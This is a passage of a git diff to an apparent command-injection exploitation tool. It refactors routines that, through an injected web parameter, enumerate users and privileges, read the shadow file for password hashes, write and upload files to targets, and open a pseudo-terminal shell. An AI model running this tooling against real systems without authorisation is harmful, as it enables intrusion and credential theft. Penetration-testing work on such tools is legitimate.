print(settings.SINGLE_WHITESPACE) + warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '" + warn_msg += settings.PASSWD_FILE + "' to enumerate users entries." + print(settings.print_warning_msg(warn_msg)) pass - + """ System passwords enumeration """ def system_passwords(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): if settings.TARGET_OS == "win": - # Not yet implemented! + check_option = "--passwords" + checks.unavailable_option(check_option) pass else: cmd = settings.SYS_PASSES @@ -470,22 +422,16 @@ def system_passwords(separator, payload, TAG, timesec, prefix, suffix, whitespac sys_passes = session_handler.export_stored_cmd(url, cmd, vuln_parameter) if sys_passes == "": sys_passes = " " - # if settings.VERBOSITY_LEVEL != 0: - # print(settings.SINGLE_WHITESPACE) - info_msg = "Fetching the content of the file '" + settings.SHADOW_FILE + info_msg = "Fetching content of the file '" + settings.SHADOW_FILE info_msg += "' in order to enumerate users password hashes. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - sys_passes = "".join(str(p) for p in sys_passes) + print(settings.print_info_msg(info_msg)) sys_passes = sys_passes.replace(" ", "\n") - sys_passes = sys_passes.split( ) + sys_passes = sys_passes.split() if len(sys_passes) != 0 : - sys.stdout.write(settings.SUCCESS_STATUS) info_msg = "Identified " + str(len(sys_passes)) info_msg += " entr" + ('ies', 'y')[len(sys_passes) == 1] - info_msg += " in '" + settings.SHADOW_FILE + "'.\n" - sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() + info_msg += " in '" + settings.SHADOW_FILE + "'." + print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: @@ -498,7 +444,7 @@ def system_passwords(separator, payload, TAG, timesec, prefix, suffix, whitespac if ":" in line: fields = line.split(":") if not "*" in fields[1] and not "!" in fields[1] and fields[1] != "": - print(" (" +str(count)+ ") " + Style.BRIGHT + fields[0]+ Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL) + print(" (" +str(count)+ ") " + Style.BRIGHT + fields[0] + Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL) # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: @@ -509,25 +455,23 @@ def system_passwords(separator, payload, TAG, timesec, prefix, suffix, whitespac if count == 1 : warn_msg = "It seems that '" + settings.SHADOW_FILE + "' file is not " warn_msg += "in the appropriate format. Thus, it is expoted as a text file." - sys.stdout.write(settings.print_warning_msg(warn_msg)+ "\n") + print(settings.print_warning_msg(warn_msg)) print(fields[0]) output_file = open(filename, "a") if not menu.options.no_logging: output_file.write(" " + fields[0]) output_file.close() else: - sys.stdout.write(settings.FAIL_STATUS) - sys.stdout.flush() warn_msg = "It seems that you don't have permissions to read the '" warn_msg += settings.SHADOW_FILE + "' file." - print("\n" + settings.print_warning_msg(warn_msg)) + print(settings.print_warning_msg(warn_msg)) """ Single os-shell execution """ def single_os_cmd_exec(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): cmd = menu.options.os_cmd - info_msg = "Executing the user-supplied command '" + cmd + "'." + info_msg = "Executing the user-supplied command: '" + cmd + "'." print(settings.print_info_msg(info_msg)) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. @@ -538,43 +482,49 @@ def single_os_cmd_exec(separator, payload, TAG, timesec, prefix, suffix, whitesp session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if shell: - if shell != "": - if settings.VERBOSITY_LEVEL <= 1: - print(settings.SINGLE_WHITESPACE) - print(settings.command_execution_output(shell)) - print(settings.SINGLE_WHITESPACE) + if shell and shell != "": + _ = "'" + cmd + "' execution output" + print(settings.print_retrieved_data(_, shell)) else: - err_msg = "The '" + cmd + "' command, does not return any output." - print(settings.print_critical_msg(err_msg)) - + err_msg = "The execution of '" + cmd + "' command does not return any output." + print(settings.print_error_msg(err_msg)) """ Check the defined options """ def do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - - # if not settings.VERBOSITY_LEVEL != 0 and not settings.ENUMERATION_DONE: - # print(settings.SINGLE_WHITESPACE) - # Check if PowerShell is enabled. if not menu.options.ps_version and settings.TARGET_OS == "win": checks.ps_check() if menu.options.ps_version and settings.PS_ENABLED == None: if not checks.ps_incompatible_os(): + info_msg = "Fetching powershell version." + print(settings.print_info_msg(info_msg)) powershell_version(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) settings.ENUMERATION_DONE = True if menu.options.hostname: + info_msg = "Fetching hostname." + print(settings.print_info_msg(info_msg)) hostname(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) settings.ENUMERATION_DONE = True if menu.options.current_user: + info_msg = "Fetching current user." + print(settings.print_info_msg(info_msg)) current_user(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) settings.ENUMERATION_DONE = True + if menu.options.is_root or menu.options.is_admin: + info_msg = "Testing if current user has excessive privileges." + print(settings.print_info_msg(info_msg)) + check_current_user_privs(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) + settings.ENUMERATION_DONE = True + if menu.options.sys_info: + info_msg = "Fetching the underlying operating system information." + print(settings.print_info_msg(info_msg)) system_information(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) settings.ENUMERATION_DONE = True diff --git a/src/core/injections/semiblind/techniques/file_based/fb_file_access.py b/src/core/injections/semiblind/techniques/file_based/fb_file_access.py index 82385e21b4..c97d05ac54 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_file_access.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_file_access.py @@ -32,7 +32,7 @@ """ def file_read(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): file_to_read = menu.options.file_read.encode(settings.DEFAULT_CODEC).decode() - info_msg = "Fetching the content of the file '" + info_msg = "Fetching content of the file: '" info_msg += file_to_read + "'." print(settings.print_info_msg(info_msg)) @@ -50,17 +50,13 @@ def file_read(separator, payload, TAG, timesec, prefix, suffix, whitespace, http session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - # if settings.VERBOSITY_LEVEL != 0 and menu.options.ignore_session: - # print(settings.SINGLE_WHITESPACE) if shell: - info_msg = "Fetched content of the file '" - info_msg += file_to_read + "'." - print(settings.print_bold_info_msg(info_msg)) - print(settings.print_sub_content(shell)) + _ = "Fetched file content" + print(settings.print_retrieved_data(_, shell)) output_file = open(filename, "a") if not menu.options.no_logging: info_msg = "Extracted content of the file '" - info_msg += file_to_read + "' : " + shell + ".\n" + info_msg += file_to_read + "' : " + shell + "\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: @@ -137,8 +133,6 @@ def file_write(separator, payload, TAG, timesec, prefix, suffix, whitespace, htt response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) shell = "".join(str(p) for p in shell) - #if settings.VERBOSITY_LEVEL != 0: - # print(settings.SINGLE_WHITESPACE) if shell: info_msg = "The file has been successfully created on remote directory '" + dest_to_write + "'." print(settings.print_bold_info_msg(info_msg)) @@ -151,7 +145,8 @@ def file_write(separator, payload, TAG, timesec, prefix, suffix, whitespace, htt """ def file_upload(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): if settings.TARGET_OS == "win": - # Not yet implemented + check_option = "--file-upload" + checks.unavailable_option(check_option) pass else: file_to_upload = menu.options.file_upload.encode(settings.DEFAULT_CODEC).decode() @@ -195,8 +190,6 @@ def file_upload(separator, payload, TAG, timesec, prefix, suffix, whitespace, ht response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) shell = "".join(str(p) for p in shell) - # if settings.VERBOSITY_LEVEL != 0: - # print(settings.SINGLE_WHITESPACE) if shell: info_msg = "The file has been successfully uploaded on remote directory '" + dest_to_upload + "'." print(settings.print_bold_info_msg(info_msg)) diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index cc4659d8e0..7b30de7d19 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -62,8 +62,8 @@ def tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_met def delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): if settings.FILE_BASED_STATE != None: if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Deleting the generated file '" + OUTPUT_TEXTFILE + "'.\n" - sys.stdout.write(settings.print_debug_msg(debug_msg)) + debug_msg = "Deleting the generated file '" + OUTPUT_TEXTFILE + "'." + print(settings.print_debug_msg(debug_msg)) if settings.TARGET_OS == "win": cmd = settings.WIN_DEL + OUTPUT_TEXTFILE else: @@ -274,14 +274,9 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r payload = checks.perform_payload_modification(payload) # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL == 1: + if settings.VERBOSITY_LEVEL != 0: payload_msg = payload.replace("\n", "\\n") - print(settings.print_payload(payload_msg)) - # Check if defined "--verbose" option. - elif settings.VERBOSITY_LEVEL >= 2: - debug_msg = "Generating payload for the injection." - print(settings.print_debug_msg(debug_msg)) - print(settings.print_payload(payload)) + print(settings.print_payload(payload_msg)) # Cookie Injection if settings.COOKIE_INJECTION == True: @@ -369,7 +364,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r sys.stdout.write("\r" + settings.print_warning_msg(warn_msg)) print(settings.SINGLE_WHITESPACE) while True: - message = "Do you want to use the temporary directory (" + tmp_path + ") [Y/n] > " + message = "Do you want to use the temporary directory (" + tmp_path + ")? [Y/n] > " tmp_upload = common.read_input(message, default="Y", check_batch=True) if tmp_upload in settings.CHOICE_YES: exit_loops = True @@ -409,14 +404,10 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r print(settings.print_critical_msg(err_msg) + "\n") raise SystemExit() - except KeyboardInterrupt: + except (KeyboardInterrupt, SystemExit): # Delete previous shell (text) files (output) - delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - raise - - except SystemExit: if 'vuln_parameter' in locals(): - # Delete previous shell (text) files (output) + print(settings.SINGLE_WHITESPACE) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise @@ -500,12 +491,13 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r else: checks.total_of_requests() - # Print the findings to terminal. - info_msg = "The" + finding = "" if len(found_vuln_parameter) > 0 and not "cookie" in header_name : - info_msg += " " + http_request_method - info_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name - info_msg += found_vuln_parameter + " seems injectable via " + finding += http_request_method + finding += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name + found_vuln_parameter + + # Print the findings to terminal. + info_msg = finding + " appears to be injectable via " info_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "." print(settings.print_bold_info_msg(info_msg)) sub_content = str(checks.url_decode(payload)) @@ -521,8 +513,8 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r new_line = True if settings.ENUMERATION_DONE == True : while True: - message = "Do you want to ignore stored session and enumerate again? [Y/n] > " - enumerate_again = common.read_input(message, default="Y", check_batch=True) + message = "Do you want to ignore stored session and enumerate again? [y/N] > " + enumerate_again = common.read_input(message, default="N", check_batch=True) if enumerate_again in settings.CHOICE_YES: if not menu.options.ignore_session: menu.options.ignore_session = True @@ -546,8 +538,8 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r # Check for any system file access options. if settings.FILE_ACCESS_DONE == True : while True: - message = "Do you want to ignore stored session and access files again? [Y/n] > " - file_access_again = common.read_input(message, default="Y", check_batch=True) + message = "Do you want to ignore stored session and access files again? [y/N] > " + file_access_again = common.read_input(message, default="N", check_batch=True) if file_access_again in settings.CHOICE_YES: if not menu.options.ignore_session: menu.options.ignore_session = True @@ -580,17 +572,15 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r while True: # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) if go_back == True: break - message = "The identified injection point has been exploited. Do you want a pseudo-terminal shell? [Y/n] > " + message = finding + " is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] > " if settings.IS_TTY: gotshell = common.read_input(message, default="Y", check_batch=True) else: gotshell = common.read_input(message, default="n", check_batch=True) if gotshell in settings.CHOICE_YES: - print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") + print(settings.OS_SHELL_TITLE) if settings.READLINE_ERROR: checks.no_readline_module() while True: @@ -617,21 +607,13 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if shell: - if shell != "": - # Update logs with executed cmds and execution results. - logs.executed_command(filename, cmd, shell) - if settings.VERBOSITY_LEVEL <= 1: - print(settings.SINGLE_WHITESPACE) - print(settings.command_execution_output(shell)) - print(settings.SINGLE_WHITESPACE) - if not shell or shell == "": - if settings.VERBOSITY_LEVEL == 1 or (len(cmd) == 0 and settings.VERBOSITY_LEVEL <= 1): - print(settings.SINGLE_WHITESPACE) - err_msg = "The '" + cmd + "' command, does not return any output." + if shell or shell != "": + # Update logs with executed cmds and execution results. + logs.executed_command(filename, cmd, shell) + print(settings.command_execution_output(shell)) + else: + err_msg = "The execution of '" + cmd + "' command does not return any output." print(settings.print_critical_msg(err_msg)) - print(settings.SINGLE_WHITESPACE) - elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector(technique, go_back) == True: break @@ -651,9 +633,8 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r pass except KeyboardInterrupt: - # if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) # Delete previous shell (text) files (output) + print(settings.SINGLE_WHITESPACE) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py index f09f0ec1ec..ed410bdc6c 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py @@ -15,7 +15,6 @@ import re import sys - from src.utils import logs from src.utils import menu from src.utils import settings @@ -33,7 +32,7 @@ Powershell's version number enumeration (for Windows OS) """ def powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): - _ = False + # _ = False cmd = settings.PS_VERSION if alter_shell: cmd = cmd.replace("'","\\'") @@ -50,17 +49,14 @@ def powershell_version(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, if float(ps_version): settings.PS_ENABLED = True ps_version = "".join(str(p) for p in output) - if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) # Output PowerShell's version number - info_msg = "The PowerShell's version number is " + info_msg = "Powershell version: " info_msg += ps_version + Style.RESET_ALL + Style.BRIGHT - sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".") - sys.stdout.flush() + print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - info_msg = "The PowerShell's version number is " + ps_version + ".\n" + info_msg = info_msg output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() except ValueError: @@ -89,13 +85,12 @@ def hostname(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, h shell = "".join(str(p) for p in output) if settings.VERBOSITY_LEVEL == 0 and _: print(settings.SINGLE_WHITESPACE) - info_msg = "The hostname is " + str(shell) - sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".") - sys.stdout.flush() + info_msg = "Hostname: " + str(shell) + print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - info_msg = "The hostname is " + str(shell) + ".\n" + info_msg = info_msg + "\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: @@ -124,15 +119,13 @@ def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, if settings.TARGET_OS != "win": cmd = settings.DISTRO_INFO if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - if settings.VERBOSITY_LEVEL == 0 and _: - sys.stdout.write("") check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) session_handler.store_cmd(url, cmd, output, vuln_parameter) else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) distro_name = output if len(distro_name) != 0: - target_os = target_os + " (" + distro_name + ")" + target_os = target_os + " " + distro_name if settings.TARGET_OS == "win": cmd = settings.WIN_RECOGNISE_HP else: @@ -146,22 +139,19 @@ def system_information(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, else: output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) target_arch = output - if target_arch: + if target_os and target_arch: if settings.VERBOSITY_LEVEL == 0 and _: print(settings.SINGLE_WHITESPACE) - info_msg = "The underlying operating system is " + str(target_os) + Style.RESET_ALL - info_msg += Style.BRIGHT + " and the hardware platform is " + str(target_arch) - sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".") - sys.stdout.flush() + info_msg = "Operating system: " + str(target_os) + " (" + str(target_arch) + ")" + print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - info_msg = "The underlying operating system is " + str(target_os) - info_msg += " and the hardware platform is " + str(target_arch) + ".\n" + info_msg = info_msg + "\n" output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) output_file.close() else: - warn_msg = "Heuristics have failed to retrieve the system information." + warn_msg = "Heuristics have failed to fetch underlying operating system information." print(settings.print_warning_msg(warn_msg)) """ @@ -181,66 +171,53 @@ def current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) cu_account = output if cu_account: - cu_account = "".join(str(p) for p in cu_account) - # Check if the user have super privileges. - if menu.options.is_root or menu.options.is_admin: - if settings.TARGET_OS == "win": - cmd = settings.IS_ADMIN - else: - cmd = settings.IS_ROOT - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - if settings.VERBOSITY_LEVEL == 0 and _: - sys.stdout.write("\n") - # The main command injection exploitation. - check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - session_handler.store_cmd(url, cmd, output, vuln_parameter) - else: - output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - shell = output - if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) - info_msg = "The current user is " + str(cu_account) - sys.stdout.write(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = "The current user is " + str(cu_account) - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - if shell: - shell = "".join(str(p) for p in shell) - if (settings.TARGET_OS == "win" and not "Admin" in shell) or \ - (settings.TARGET_OS != "win" and shell != "0"): - sys.stdout.write(Style.BRIGHT + " and it is " + "not" + Style.RESET_ALL + Style.BRIGHT + " privileged" + Style.RESET_ALL + ".") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(" and it is not privileged.\n") - output_file.close() - else: - sys.stdout.write(Style.BRIGHT + " and it is " + Style.RESET_ALL + Style.BRIGHT + "privileged" + Style.RESET_ALL + ".") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(" and it is privileged.\n") - output_file.close() - else: - if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) - info_msg = "The current user is " + str(cu_account) - sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = "The current user is " + str(cu_account) + "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() + if settings.VERBOSITY_LEVEL == 0 and _: + print(settings.SINGLE_WHITESPACE) + info_msg = "Current user: " + str(cu_account) + print(settings.print_bold_info_msg(info_msg)) + # Add infos to logs file. + output_file = open(filename, "a") + if not menu.options.no_logging: + info_msg = "Current user: " + str(cu_account) + "\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + output_file.close() else: - warn_msg = "Heuristics have failed to identify the current user." + warn_msg = "Heuristics have failed to fetch the current user." print(settings.print_warning_msg(warn_msg)) + + +""" +Check if the current user has excessive privileges. +""" +def check_current_user_privs(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): + _ = False + if settings.TARGET_OS == "win": + cmd = settings.IS_ADMIN + else: + cmd = settings.IS_ROOT + if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: + # The main command injection exploitation. + check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) + session_handler.store_cmd(url, cmd, output, vuln_parameter) + _ = True + else: + output = session_handler.export_stored_cmd(url, cmd, vuln_parameter) + shell = output + if settings.VERBOSITY_LEVEL == 0 and _: + print(settings.SINGLE_WHITESPACE) + _ = "True" + if (settings.TARGET_OS == "win" and not "Admin" in shell) or \ + (settings.TARGET_OS != "win" and shell != "0"): + _ = "False" + + info_msg = "Current user has excessive privileges: " + str(_) + print(settings.print_bold_info_msg(info_msg)) + # Add infos to logs file. + output_file = open(filename, "a") + if not menu.options.no_logging: + + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + output_file.close() """ System users enumeration @@ -248,11 +225,19 @@ def current_user(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response): _ = False if settings.TARGET_OS == "win": + info_msg = "Executing the 'net users' command " + info_msg += "in order to enumerate users entries. " + print(settings.print_info_msg(info_msg)) settings.SYS_USERS = settings.WIN_SYS_USERS settings.SYS_USERS = settings.SYS_USERS + "-replace('\s+',' '))" # URL encode "+ " if POST request and python alternative shell. if alter_shell and http_request_method == settings.HTTPMETHOD.POST: settings.SYS_USERS = settings.SYS_USERS.replace("+ ","%2B") + else: + info_msg = "Fetching content of the file '" + settings.PASSWD_FILE + info_msg += "' in order to enumerate users entries. " + print(settings.print_info_msg(info_msg)) + cmd = settings.SYS_USERS if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: try: @@ -267,12 +252,6 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese sys_users = output # Windows users enumeration. if settings.TARGET_OS == "win": - if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) - info_msg = "Executing the 'net users' command " - info_msg += "in order to enumerate users entries. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() try: if sys_users[0] : sys_users = "".join(str(p) for p in sys_users).strip() @@ -283,10 +262,9 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese sys_users_list = sys_users_list.split() info_msg = "Identified " + str(len(sys_users_list)) info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1] - info_msg += " via 'net users' command.\n" - sys.stdout.write("\n" + settings.print_bold_info_msg(info_msg)) - sys.stdout.flush() - # Add infos to logs file. + info_msg += " via 'net users' command." + print(settings.print_bold_info_msg(info_msg)) + # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) @@ -295,12 +273,12 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese for user in range(0, len(sys_users_list)): count = count + 1 if menu.options.privileges: - info_msg = "Confirming privileges of user '" - info_msg += sys_users_list[user] + "'. " - print(settings.print_info_msg(info_msg)) - cmd = "powershell.exe -InputFormat none write-host (([string]$(net user " + sys_users_list[user] + ")[22..($(net user " + sys_users_list[user] + ").length-3)]).replace('Local Group Memberships','').replace('*','').Trim()).replace(' ','').substring(0,6)" - check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response) - check_privs = output + cmd = "powershell.exe -InputFormat none write-host (([string]$(net user " + sys_users_list[user] + ")[22..($(net user " + sys_users_list[user] + ").length-3)]).replace('Local Group Memberships','').replace('*','').Trim()).replace(' ','')" + if alter_shell: + cmd = cmd.replace("'","\\'") + cmd = "cmd /c " + cmd + response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) + check_privs = cb_injector.injection_results(response, TAG, cmd) check_privs = "".join(str(p) for p in check_privs).strip() check_privs = re.findall(r"(.*)", check_privs) check_privs = "".join(str(p) for p in check_privs).strip() @@ -314,35 +292,26 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese else : is_privileged = "" is_privileged_nh = "" - print("\n (" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + ".") - # Add infos to logs file. + print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + ".") + # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + sys_users_list[user] + is_privileged + ".\n" ) + output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + sys_users_list[user] + is_privileged + "\n" ) output_file.close() else: - sys.stdout.write(settings.FAIL_STATUS) - sys.stdout.flush() + print(settings.SINGLE_WHITESPACE) warn_msg = "It seems that you don't have permissions to enumerate users entries." - print("\n" + settings.print_warning_msg(warn_msg)) + print(settings.print_warning_msg(warn_msg)) except TypeError: - sys.stdout.write(settings.FAIL_STATUS + "\n") - sys.stdout.flush() pass except IndexError: - sys.stdout.write(settings.FAIL_STATUS) - warn_msg = "It seems that you don't have permissions to enumerate users entries.\n" - sys.stdout.write("\n" + settings.print_warning_msg(warn_msg)) - sys.stdout.flush() + print(settings.SINGLE_WHITESPACE) + warn_msg = "It seems that you don't have permissions to enumerate users entries." + print(settings.print_warning_msg(warn_msg)) pass + # Unix-like users enumeration. else: - if settings.VERBOSITY_LEVEL == 0 and _: - print(settings.SINGLE_WHITESPACE) - info_msg = "Fetching the content of the file '" + settings.PASSWD_FILE - info_msg += "' in order to enumerate users entries. " - sys.stdout.write(settings.print_info_msg(info_msg)) - 